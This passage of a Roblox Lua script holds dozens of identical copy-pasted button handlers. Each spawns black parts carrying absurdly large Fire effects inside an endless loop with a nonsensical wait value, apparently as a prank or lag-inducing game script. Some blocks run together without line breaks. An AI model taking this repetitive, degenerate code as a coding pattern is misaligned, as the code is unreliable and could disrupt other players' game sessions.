part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
